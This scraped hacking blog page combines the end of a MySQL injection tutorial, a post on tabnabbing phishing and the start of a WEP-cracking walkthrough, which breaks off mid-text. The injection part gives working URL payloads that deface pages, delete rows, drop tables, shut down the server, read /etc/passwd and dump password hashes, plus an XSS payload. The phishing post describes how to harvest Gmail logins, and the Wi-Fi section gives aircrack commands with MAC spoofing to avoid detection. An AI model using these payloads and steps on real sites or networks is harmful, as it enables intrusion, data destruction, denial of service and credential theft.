<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY Hardeep',data='Ur site has zero security',author='Hardeep'/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
By executing first query, we have set the title value as 'Hacked By Hardeep' in the table article while in second query, we have updated all three fields title, data, & author in the table article.</div>
<div class="MsoNormal" style="text-align: justify;">
Sometimes, u may want to change the specific page with id=5. For this u will do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5</span></i></b><span style="color: #00b0f0;">/*</span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">DELETE:</span></u></i></b> As already stated, this deletes the content of one or more fields permanently from the db server.</div>
<div class="MsoNormal" style="text-align: justify;">
The syntax is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DELETE title,data,author FROM article/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or if u want to delete these fields from the id=5, u will do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">DROP</span></u></i></b>:This is another deadly command u can use. With this, u can delete a table & all its associated data.</div>
<div class="MsoNormal" style="text-align: justify;">
For this, we make our URL as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DROP TABLE article/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This would delete table article & all its contents.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Finally, I want to say little about ;</div>
<div class="MsoNormal" style="text-align: justify;">
Though I have not used this in my tutorial, u can use it to end ur first query and start another one.</div>
<div class="MsoNormal" style="text-align: justify;">
This ; can be kept at the end of our first query so that we can start new query after it.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">SHUTTING DOWN MySQL SERVER:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;</div>
<div class="MsoNormal" style="text-align: justify;">
So, you would craft a query which would execute the above command...</div>
<div class="MsoNormal" style="text-align: justify;">
For example, in my case, I would do the following:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b050;">LOADFILE:</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..</div>
<div class="MsoNormal" style="text-align: justify;">
Do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
But sometimes, you will have to hex the part & do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
where I have hexed... Now, if we are lucky, the scriptblock would echo the etc/passwd in the result..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">MySQL ROOT:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL..</div>
<div class="MsoNormal" style="text-align: justify;">
For this, you will do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But http://www.insidepro.com has one to do it..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">INALIZING THE INJECTION TUTORIAL:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT <scblockedript>alert("XSS via SQL injection");</scblockedript>,2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Again in the above injection, you may require to hex up the javascriptblock part for bypassing the magic quotes..</div>
<div class="MsoNormal" style="text-align: justify;">
Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..</div>
<div class="MsoNormal" style="text-align: justify;">
In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...</div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">MAJOR MySQL COMMANDS:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..</div>
<div class="MsoNormal" style="text-align: justify;">
All the commands here are copy pasted from the post at http://www.h4cky0u.org & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..</div>
<div class="MsoNormal" style="text-align: justify;">
ABORT -- abort the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER DATABASE -- change a database</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER GROUP -- add users to a group or remove users from a group</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER TABLE -- change the definition of a table</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER TRIGGER -- change the definition of a trigger</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER USER -- change a database user account</div>
<div class="MsoNormal" style="text-align: justify;">
ANALYZE -- collect statistics about a database</div>
<div class="MsoNormal" style="text-align: justify;">
BEGIN -- start a transaction block</div>
<div class="MsoNormal" style="text-align: justify;">
CHECKPOINT -- force a transaction log checkpoint</div>
<div class="MsoNormal" style="text-align: justify;">
CLOSE -- close a cursor</div>
<div class="MsoNormal" style="text-align: justify;">
CLUSTER -- cluster a table according to an index</div>
<div class="MsoNormal" style="text-align: justify;">
COMMENT -- define or change the comment of an object</div>
<div class="MsoNormal" style="text-align: justify;">
COMMIT -- commit the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
COPY -- copy data between files and tables</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE AGGREGATE -- define a new aggregate function</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE CAST -- define a user-defined cast</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE CONVERSION -- define a user-defined conversion</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE DATABASE -- create a new database</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE DOMAIN -- define a new domain</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE FUNCTION -- define a new function</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE GROUP -- define a new user group</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE INDEX -- define a new index</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE LANGUAGE -- define a new procedural language</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE OPERATOR -- define a new operator</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE OPERATOR CLASS -- define a new operator class for indexes</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE RULE -- define a new rewrite rule</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE SCHEMA -- define a new schema</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE SEQUENCE -- define a new sequence generator</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TABLE -- define a new table</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TABLE AS -- create a new table from the results of a query</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TRIGGER -- define a new trigger</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TYPE -- define a new data type</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE USER -- define a new database user account</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE VIEW -- define a new view</div>
<div class="MsoNormal" style="text-align: justify;">
DEALLOCATE -- remove a prepared query</div>
<div class="MsoNormal" style="text-align: justify;">
DECLARE -- define a cursor</div>
<div class="MsoNormal" style="text-align: justify;">
DELETE -- delete rows of a table</div>
<div class="MsoNormal" style="text-align: justify;">
DROP AGGREGATE -- remove a user-defined aggregate function</div>
<div class="MsoNormal" style="text-align: justify;">
DROP CAST -- remove a user-defined cast</div>
<div class="MsoNormal" style="text-align: justify;">
DROP CONVERSION -- remove a user-defined conversion</div>
<div class="MsoNormal" style="text-align: justify;">
DROP DATABASE -- remove a database</div>
<div class="MsoNormal" style="text-align: justify;">
DROP DOMAIN -- remove a user-defined domain</div>
<div class="MsoNormal" style="text-align: justify;">
DROP FUNCTION -- remove a user-defined function</div>
<div class="MsoNormal" style="text-align: justify;">
DROP GROUP -- remove a user group</div>
<div class="MsoNormal" style="text-align: justify;">
DROP INDEX -- remove an index</div>
<div class="MsoNormal" style="text-align: justify;">
DROP LANGUAGE -- remove a user-defined procedural language</div>
<div class="MsoNormal" style="text-align: justify;">
DROP OPERATOR -- remove a user-defined operator</div>
<div class="MsoNormal" style="text-align: justify;">
DROP OPERATOR CLASS -- remove a user-defined operator class</div>
<div class="MsoNormal" style="text-align: justify;">
DROP RULE -- remove a rewrite rule</div>
<div class="MsoNormal" style="text-align: justify;">
DROP SCHEMA -- remove a schema</div>
<div class="MsoNormal" style="text-align: justify;">
DROP SEQUENCE -- remove a sequence</div>
<div class="MsoNormal" style="text-align: justify;">
DROP TABLE -- remove a table</div>
<div class="MsoNormal" style="text-align: justify;">
DROP TRIGGER -- remove a trigger</div>
<div class="MsoNormal" style="text-align: justify;">
DROP TYPE -- remove a user-defined data type</div>
<div class="MsoNormal" style="text-align: justify;">
DROP USER -- remove a database user account</div>
<div class="MsoNormal" style="text-align: justify;">
DROP VIEW -- remove a view</div>
<div class="MsoNormal" style="text-align: justify;">
END -- commit the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
EXECUTE -- execute a prepared query</div>
<div class="MsoNormal" style="text-align: justify;">
EXPLAIN -- show the execution plan of a statement</div>
<div class="MsoNormal" style="text-align: justify;">
FETCH -- retrieve rows from a table using a cursor</div>
<div class="MsoNormal" style="text-align: justify;">
GRANT -- define access privileges</div>
<div class="MsoNormal" style="text-align: justify;">
INSERT -- create new rows in a table</div>
<div class="MsoNormal" style="text-align: justify;">
LISTEN -- listen for a notification</div>
<div class="MsoNormal" style="text-align: justify;">
LOAD -- load or reload a shared library file</div>
<div class="MsoNormal" style="text-align: justify;">
LOCK -- explicitly lock a table</div>
<div class="MsoNormal" style="text-align: justify;">
MOVE -- position a cursor on a specified row of a table</div>
<div class="MsoNormal" style="text-align: justify;">
NOTIFY -- generate a notification</div>
<div class="MsoNormal" style="text-align: justify;">
PREPARE -- create a prepared query</div>
<div class="MsoNormal" style="text-align: justify;">
REINDEX -- rebuild corrupted indexes</div>
<div class="MsoNormal" style="text-align: justify;">
RESET -- restore the value of a run-time parameter to a default value</div>
<div class="MsoNormal" style="text-align: justify;">
REVOKE -- remove access privileges</div>
<div class="MsoNormal" style="text-align: justify;">
ROLLBACK -- abort the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
SELECT -- retrieve rows from a table or view</div>
<div class="MsoNormal" style="text-align: justify;">
SELECT INTO -- create a new table from the results of a query</div>
<div class="MsoNormal" style="text-align: justify;">
SET -- change a run-time parameter</div>
<div class="MsoNormal" style="text-align: justify;">
SET CONSTRAINTS -- set the constraint mode of the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session</div>
<div class="MsoNormal" style="text-align: justify;">
SET TRANSACTION -- set the characteristics of the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
SHOW -- show the value of a run-time parameter</div>
<div class="MsoNormal" style="text-align: justify;">
START TRANSACTION -- start a transaction block</div>
<div class="MsoNormal" style="text-align: justify;">
TRUNCATE -- empty a table</div>
<div class="MsoNormal" style="text-align: justify;">
UNLISTEN -- stop listening for a notification</div>
<div class="MsoNormal" style="text-align: justify;">
UPDATE -- update rows of a table</div>
<div class="MsoNormal" style="text-align: justify;">
VACUUM -- garbage-collect and optionally analyze a database</div>
<div class="MsoNormal" style="text-align: justify;">
<i><u><span style="color: red;">Disclaimer</span></u></i></div>
<div class="MsoNormal" style="text-align: justify;">
This tutorial is for educational purpose only. The Author does not have any responsibility if the content in this tutorial is misused.     <b><i><u><span style="color: #e36c0a;">"ILLEGAL USAGE OF THESE KNOWLEDGE MAY LEAD TO SERIOUS RESULTS"</span></u></i></b></div>
</div>

Hacking Tutorials MySQL SQL Injection Tutorials SQL Injection Complete

MySQL injection tutorial (Complete) TABLE OF CONTENT: #INTRO #WHAT IS DATABASE? #WHAT IS S...

Phishing Attack Using Tabnabbing

6/05/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVpOqWk1DSAJKLIjKip-S5lRZrI4t7RucRcBg0q66ThDxVKtuzCldtQQfM8iabX8sYdY2EGrJ2yVoiTKcKwzpSv2CI21A6WxwI7BNbk14eqpGMVpf5nVGLxkB5v0oHX1CG-jUashj_FEo/s1600/tab-napping.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVpOqWk1DSAJKLIjKip-S5lRZrI4t7RucRcBg0q66ThDxVKtuzCldtQQfM8iabX8sYdY2EGrJ2yVoiTKcKwzpSv2CI21A6WxwI7BNbk14eqpGMVpf5nVGLxkB5v0oHX1CG-jUashj_FEo/s1600/tab-napping.jpg" width="320" /></a></div>
<br />
<div class="post-body entry-content">
<span class="Apple-style-span"><span id="7140679708706166316"></span></span><br />
<div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">Most phishing attacks depend on an original deception. If you detect that you are at the wrong URL, or that something is amiss on a page, the chase is up. You've escaped the attackers. In fact, the time that wary people are most wary is exactly when they first navigate to a site.</span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">What we don't expect is that a page we've been looking at will change behind our backs, when we aren't looking. That'll catch us by surprise.</span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><b>How Phishing Attack Using Tabnabbing Works</b></span></span></div>
<div>
<ol>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;"><span class="Apple-style-span"><span id="7140679708706166316">A user navigates to your normal looking site.</span></span></li>
<span class="Apple-style-span"><span id="7140679708706166316">
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">You detect when the page has lost its focus and hasn't been interacted with for a while.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">Replace the favicon with the Gmail favicon, the title with "Gmail: Email from Google", and the page with a Gmail login look-a-like. This can all be done with just a little bit of Javascript that takes place instantly.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">As the user scans their many open tabs, the favicon and title act as a strong visual cue—memory is malleable and moldable and the user will most likely simply think they left a Gmail tab open. When they click back to the fake Gmail tab, they'll see the standard Gmail login page, assume they've been logged out, and provide their credentials to log in. The attack preys on the perceived immutability of tabs.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">After the user has entered their login information and you've sent it back to your server, you redirect them to Gmail. Because they were never logged out in the first place, it will appear as if the login was successful.</li>
</span></span></ol>
</div>
</div>
<div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">In this attack, the phisher need not even change the Web address displayed in the browser's navigation toolbar. Rather, this particular phishing attack takes advantage of user trust and inattention to detail, or what Raskin calls "the perceived immutability of tabs." Then, as the user scans their many open tabs, the favicon and title act as a strong visual cue, and the user will most likely simply think they left a Gmail tab open.</span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">"When they click back to the fake Gmail tab, they'll see the standard Gmail login page, assume they've been logged out, and provide their credentials to log in," Raskin explained. "After the user has enter they have entered their login information and sent it back your server, you redirect them to Gmail. Because they were never logged out in the first place, it will appear as if the login was successful."</span></span></div>
</div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><i>For Firefox users with the Noscript plugin, there is an update to the program that can block these types of tabnabbing attacks.</i></span></span></div>
</div>
<br />
<div>
<br /></div>
-- <br />
<div dir="ltr">
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div>
<br /></div>

Hacking Hacking Tutorials Phishing Social Engineering Tabnapping Tutorials Phishing Attack Using Tabnabbing

Most phishing attacks depend on an original deception. If you detect that you are at the wrong URL, or that something is amiss on a ...

Hack WiFi network with BackTrack

5/16/2011 rahlabs 1

<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYbCbgH0SWfgYU-dLnIE9jTji_qaJXWDcAMH2MXZ27hey8y6fCLMT-wJD64Ijs5We9h4GysHAQ_5AOtATk8BuyjeG6mSPIMKe-OLHRoJL40EWR_N8NiWYkpzsdxFwF2P_8dOOqIvT66nk/s1600/hack-wifi-with-backtrack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hack WiFi network with BackTrack " border="0" data-original-height="600" data-original-width="1280" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYbCbgH0SWfgYU-dLnIE9jTji_qaJXWDcAMH2MXZ27hey8y6fCLMT-wJD64Ijs5We9h4GysHAQ_5AOtATk8BuyjeG6mSPIMKe-OLHRoJL40EWR_N8NiWYkpzsdxFwF2P_8dOOqIvT66nk/s640/hack-wifi-with-backtrack.jpg" title="Hack WiFi network with BackTrack " width="640" /></a></div>
<span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;"><br /></span>
<span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;">Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed Internet and network connections (</span><i style="border-width: 0px; font-family: "helvetica neue", arial, sans-serif; font-size: 12px; margin: 0px; padding: 0px;">as if you didn't know..</i><span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;">), Wifi has become an integral part of our lives today. Wifi is secured using a WPA protocol which intends to secure Wireless LANs like Wired LAN's by encrypting data over radio waves, however, it has been found that WEP is not as secure as once believed.Now almost anyone can </span><b style="border-width: 0px; font-family: "helvetica neue", arial, sans-serif; font-size: 12px; margin: 0px; padding: 0px;">hack into a Wifi network</b><span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;"> by generating the valid WEP key using </span><a href="http://www.hackerschronicle.com/search/label/Backtrack" style="border-width: 0px; color: #104e8b; font-family: "helvetica neue", arial, sans-serif; font-size: 12px; margin: 0px; padding: 0px; text-decoration-line: none;" target="_blank" title="Backtrack 3 - The ultimate security tool"><b style="border-width: 0px; margin: 0px; padding: 0px;">Backtrack</b></a><span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;">. Read on to learn how </span>..</div>
<span class="Apple-style-span" style="background-color: white; font-family: "helvetica neue" , "arial" , sans-serif; font-size: 12px; line-height: 22px;"> <div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<b style="border-width: 0px; margin: 0px; padding: 0px;"><i style="border-width: 0px; margin: 0px; padding: 0px;"><span style="border-width: 0px; font-size: x-small; margin: 0px; padding: 0px;">Disclaimer:</span></i></b> <i style="border-width: 0px; margin: 0px; padding: 0px;"><span style="border-width: 0px; font-size: x-small; margin: 0px; padding: 0px;">This tutorial is given for educational purposes only and that for any misuse of this information, the blogger cannot be held liable.</span></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">SETTING UP THE CARD AND THE CONSOLE</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Boot up Backtrack on your virtual machine/laptop and open up the <b style="border-width: 0px; margin: 0px; padding: 0px;">command console</b> and type the commands as they are given -</div>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">ifconfig</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
This is the <a href="http://www.hackerschronicle.com/search/label/Linux" style="border-width: 0px; color: #104e8b; margin: 0px; padding: 0px; text-decoration: none;" target="_blank" title="More Linux articles at Prohack"><b style="border-width: 0px; margin: 0px; padding: 0px;">Linux</b></a> equivalent of ipconfig, you will see the network adaptors in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airmon-ng</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airmon-ng stop [Wi-Fi Card name(without the quotes)]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
This command will stop the cards broadcast and reception immediately</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">macchanger –mac [Desired MAC address] [Wi-Fi card name]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
this command will change the current MAC address to any MAC address you desire, so that you don't get caught later</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airmon-ng start [Wi-Fi Card name]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
You will see another extra adaptor that is set on monitor mode, use that adaptor for all further purposes in the following commands where – '[Wi-Fi card name]' appears</div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">DUMPING PACKETS</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Once you have set up all the parameters, you need to <b style="border-width: 0px; margin: 0px; padding: 0px;">sniff and dump data packets</b> in order to get the key.You can do so by using following commands. On the command, console type these commands -</div>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airodump-ng [Wi-Fi card name]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
Copy and paste the BSSID in the following command and execute it<b style="border-width: 0px; margin: 0px; padding: 0px;"><u style="border-width: 0px; margin: 0px; padding: 0px;"></u></b></div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]</i></li>
</ul>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (<i style="border-width: 0px; margin: 0px; padding: 0px;">Click on Computer and you will see the file</i>).The file will be present in two formats: *.cap, *.txt.</div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">SPEEDING UP THINGS</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
